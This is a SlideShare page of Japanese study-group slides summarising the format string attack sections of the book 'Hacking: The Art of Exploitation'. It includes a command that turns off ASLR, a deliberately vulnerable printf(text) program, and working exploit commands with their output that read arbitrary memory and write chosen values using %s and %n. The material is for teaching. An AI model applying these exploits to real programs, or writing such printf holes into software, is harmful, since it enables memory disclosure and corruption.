Summary of "Hacking", 0x351-0x354

960 views

Published on

Published in: Technology
0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
960
On SlideShare
0
From Embeds
0
Number of Embeds
10
Actions
Shares
0
Downloads
3
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Summary of "Hacking", 0x351-0x354

  1. 1. Hacking: 美しき策謀0x351-0x354 レジュメ2013-04-13 低レベル勉強会チーム B
  2. 2. 概要• 攻撃の対象– printf 関数を誤用しているプログラム• 攻撃手法– 入力した攻撃用文字列が printf の書式文字列として使われるように細工する– %n などの書式指定子を悪用して、メモリの中身を見たり、メモリを書き換えたりする1
  3. 3. 前提• Linux x86 (32bit)• 最近のカーネルのセキュリティ機能 (アドレス空間配置ランダム化など) をあらかじめ切っておく• 具体的なアドレス等は、宮川の環境で試したものです。テキストとは異なるので注意して下さい2$ # Xubuntu 12.04 LTS の場合$ sudo -i# echo 0 >/proc/sys/kernel/randomize_va_space
  4. 4. 目次• 0x351 フォーマットパラメータ• 0x352 フォーマット文字列を利用した攻撃• 0x353 任意のメモリアドレスから読み込みを行う• 0x354 任意のメモリアドレスに書き込みを行う3
  5. 5. 0x351 printf 関数の使い方• int printf(const char *format, ...);• 最初の引数 format が書式文字列(例: "No. %d is %s¥n")• 書式指定子に対応する引数の値を表示4int num = 42;const char *name = "John Doe";printf("No. %d is %s¥n", num, name);// => No. 42 is John Doe
  6. 6. 0x351 printf の書式指定子の例書式指定子 対応する引数の型 意味%d int 符号付き十進数として表示%x int 符号なし十六進数として表示%08x int 符号なし十六進数として表示。8桁未満の場合は左ゼロ詰め (例: 00000abc)%s const char * 指定されたアドレスから始まる文字列を表示%n int * 指定されたアドレスに「これまで出力されたバイト数」を格納。何も出力しない5
  7. 7. 0x351 printf 使用時のメモリイメージ6int main(void) {int num = 0xcafe, count;printf("Num %d%n¥n", num, &count); // 下図はこの呼び出し時点return 0;}12341234 "Num " = 0x206d754e12341238 "%d%n" = 0x6e2564251234123c "¥n¥0??" = 0x????000ababe0000 (printf のローカル変数とか)babe0004 書式文字列のアドレス: 0x12341234babe0008 0x0000cafebabe000c count のアドレス: 0xbabe0010babe0010 変数 countbabe0014 変数num: 0x0000cafebabe0018 (main の呼び出し元のローカル変数とか)書式文字列 "Num %d%n¥n"4 バイトずつ整数として見ると、順番がひっくり返って見える。 x86 はリトルエンディアンだからスタック※ 変数をレジスタ化したり、レジスタを退避したりするので、実際のメモリ配置とは違うはずです。だいたいの絵だと思ってください
  8. 8. 0x351 書式文字列と引数の不一致• 書式指定子の数が後続の引数より多いと、不明な値が表示されてしまう7// p. 195 のリストint A = 5, B = 7;printf("A: %d addrA: %08x B: %x¥n", A, &A);// => A: 5 addrA: bf4219ad B: bcda2fd2"A: %d addrA: %08x B: %x¥n" のアドレス5Aのアドレス: 0xbf4219ad不明な値: 0xbcda2fd2不明な値: main の戻りアドレスとか%x に対応する位置にある不明な値が表示されてしまう%x に対応する引数が無いスタック
  9. 9. 0x352 攻撃のアイディア• fgets(stdin, str, 100); printf(str); のように、入力された文字列を printf の書式文字列にそのまま渡す行儀の悪いプログラムが攻撃対象• 攻撃者は、書式指定子 (%08x) を含む文字列を入力して、スタックの先頭付近を盗み見る8
  10. 10. 0x352 スタック先頭付近を盗み見る9// p. 196 攻撃対象 fmt_vuln.c の中で、問題の部分を抜粋char text[1024]; // ローカル変数なのでスタック上に確保されるstrcpy(text, argv[1]);printf(text);$ ./fmt_vuln `perl -e print "%08x." x 40`...bfffed6c.6474e552.0011965d.00145baf.001105dc.00001e40.bffff214.bfffefbc.00000000.00000001.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830....%08x.%08x.%08x... という文字列を生成して渡しているtext のアドレス... 退避レジスタ等 ...text: "%08x" = 0x78383025text + 4: ".%08" = 0x3830252etext + 8: "x.%0" = 0x30252e78スタックの底の方を、 %08x に対応する値として表示させている。底の方には main のローカル変数 text の実体があるので、書式文字列自体が16 進数の並びとして表示されるスタック
  11. 11. 0x353 攻撃のアイディア• 攻撃対象は 0x352 と同様、ユーザの入力をprintf の書式文字列として使うプログラム• 攻撃者は、次のような文字列を入力して、任意のアドレス以降のメモリの内容を文字列として表示させる10"<対象のアドレス (4バイト)>%08x%08x...%08x%s"対象のアドレスが格納されている位置を %s に対応させるため、 %08x を埋め草として調節
  12. 12. 0x353 必要な埋草の数を調べる• %08x の数を調節して、次のような出力を得る11$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x...AAAAbfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.00000000.00000001.41414141...%08x → text - 8: 0x00000000%08x → text - 4: 0x00000001%08x → text: "AAAA" = 0x41414141最後の %08x がここに対応スタック
  13. 13. 0x353 任意のメモリ内容を表示• 前ページのコマンドから次の箇所を変更– "AAAA" → 対象のアドレス– 最後の %08x → %s12$ ./fmt_vuln `printf "¥x8c¥xfc¥xff¥xbf"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%s...����bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.00000000.00000001./home/taku/bin:/usr/local/bin:/usr/bin:/bin...今回はあらかじめ調べたPATH 環境変数のアドレス%08x → text - 8: 0x00000000%08x → text - 4: 0x00000001%s → text: "¥x8c¥xfc¥xff¥xbf" = 0xbffffc8cbffffc8c "/hom"bffffc90 "e/ta"bffffc94 "ku/b"... ...PATH 環境変数スタック%s は対応する値を文字列のアドレスとみなし、その文字列 (ここでは $PATH) を表示する$PATH の内容
  14. 14. 0x354 攻撃のアイディア• 攻撃対象は 0x352, 0x353 と同様、ユーザ入力を printf の書式文字列として使うプログラム• 攻撃者は、次のような文字列を入力して、任意のアドレスにデータを書き込む13"<対象のアドレス (4バイト)>%x%x...%042x%n"• 対象のアドレスが格納されている位置を %n に対応させるため、 %x を埋め草として調節• 目的の数値を得るため、 %042x のように出力バイト数を調節。 %n 直前までの出力バイト数が対象のアドレスに書き込まれる※ テキストでは %42x とスペース埋めですが、分かり易さのため、 0 埋めに変更しています
  15. 15. 0x354 任意位置に書き込み (1/6)• 0x353 のコマンドから次の箇所を変更– 先頭 4 バイト → 書き込み先アドレス– 最後の %s → %n14今回はあらかじめ調べたtest_val 変数のアドレス$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%n...��bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.00000000.00000001.[*] test_val @ 0x0804a024 = 94 0x0000005e%08x → text - 8: 0x00000000%08x → text - 4: 0x00000001%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024スタック0804a024 94 = 0x0000005etest_val 変数%n は対応する値を int 値のアドレスとみなし、そのアドレスに、そこまでに表示したバイト数を書き込む94 バイト出力
  16. 16. 0x354 任意位置に書き込み (2/6)• 0 埋めの数を調節することで、出力文字数を調節し、書き込むデータが制御できる15$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%031x.%n...��bfffee0c.6474e552.11965d.145baf.1105dc.1e40.bffff2b4.bffff05c.0.0000000000000000000000000000001.[*] test_val @ 0x0804a024 = 100 0x00000064%x → text - 8: 0x0%031x → text - 4: 0x0000...00001%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024スタック0804a024 100 = 0x00000064test_val 変数100 バイト出力
  17. 17. 0x354 任意位置に書き込み (3/6)• この手法の問題点– 現実的には、比較的小さな、正の値しか書き込めない– たとえば、100000000 という値を書き込もうと思ったら、 100000000 文字出力する必要がある→ 事実上不可能16
  18. 18. 0x354 任意位置に書き込み (4/6)• 解決策: 大きな値は 1 バイトずつ複数回書き込む• 例: test_val に 0xddccbbaa を書き込む17① 170 = 0xaa バイト出力② %n で 0804a024 に 0xaa を書き込み AA 00 00 00③ 17 バイト出力 (通算 0xbb バイト出力)④ %n で 0804a025 に 0xbb を書き込み BB 00 00 00⑤ 17 バイト出力 (通算 0xcc バイト出力)⑥ %n で 0804a026 に 0xcc を書き込み CC 00 00 00⑦ 17 バイト出力 (通算 0xdd バイト出力)⑧ %n で 0804a027 に 0xdd を書き込み DD 00 00 00最終的な test_val = 0xddccbbaa AA BB CC DD↓ test_val の先頭 (0804a024)
  19. 19. 0x354 任意位置に書き込み (5/6)• %n と %n の間に %017x を挟んで出力バイト数を加算する18$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08JUNK¥x25¥xa0¥x04¥x08JUNK¥x26¥xa0¥x04¥x08JUNK¥x27¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%077x.%n%017x%n%017x%n%017x%n...��JUNK%�JUNK&�JUNK�bfffeddc.6474e552.11965d.145baf.1105dc.1e40.bffff284.bffff02c.0.000<...省略...>000001.0000000004b4e554a0000000004b4e554a0000000004b4e554a[*] test_val @ 0x0804a024 = -573785174 0xddccbbaa%x → text - 8: 0x00000000%077x → text - 4: 0x0000...000001%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024%017x → text + 4: "JUNK" = 0x0000000004b4e554a%n → text + 8: "¥x25¥xa0¥x04¥x08" = 0x0804a025...スタック"IMHO" でも "ASAP" でも、4 バイトならなんでも OK
  20. 20. 0x354 任意位置に書き込み (6/6)• 例: test_val に 0x0806abcd を書き込む• 隣り合うバイト間の増分が cd, ab の様にマイナスだったり、 06,08 の様に小さかったりする→ 増分に加えて 256 (0x100) 文字余計に書き込む19① 205 = 0xcd バイト出力② %n で 0804a024 に 0xcd を書き込み CD 00 00 00③ 222 バイト出力 (通算 0x1ab バイト出力)④ %n で 0804a025 に 0x1ab を書き込み AB 01 00 00⑤ 91 バイト出力 (通算 0x206 バイト出力)⑥ %n で 0804a026 に 0x206 を書き込み 06 02 00 00⑦ 258 バイト出力 (通算 0x308 バイト出力)⑧ %n で 0804a027 に 0x308 を書き込み 08 03 00 00最終的な test_val = 0x0806abcd CD AB 06 08 (03) (00) (00)↓ test_val の先頭 (0804a024)余計な上位バイトは後で上書きされる
  21. 21. 実現性について考察 (宮川)• アドレス空間配置のランダム化が有効な場合、0x353, 0x354 の攻撃は難易度が上がる。しかし、当たりをつけておいて、多くの試行を繰り返すことで、突破は可能と思われる• x86_64 では、 0x353, 0x354 の攻撃はおそらく不可能。ユーザ空間のアドレスが0 ~ 0x00007fffffffffff であり、上位バイトに必ず 0 が存在するため、文字列として渡すことができない (C の文字列は 0 終止)20

×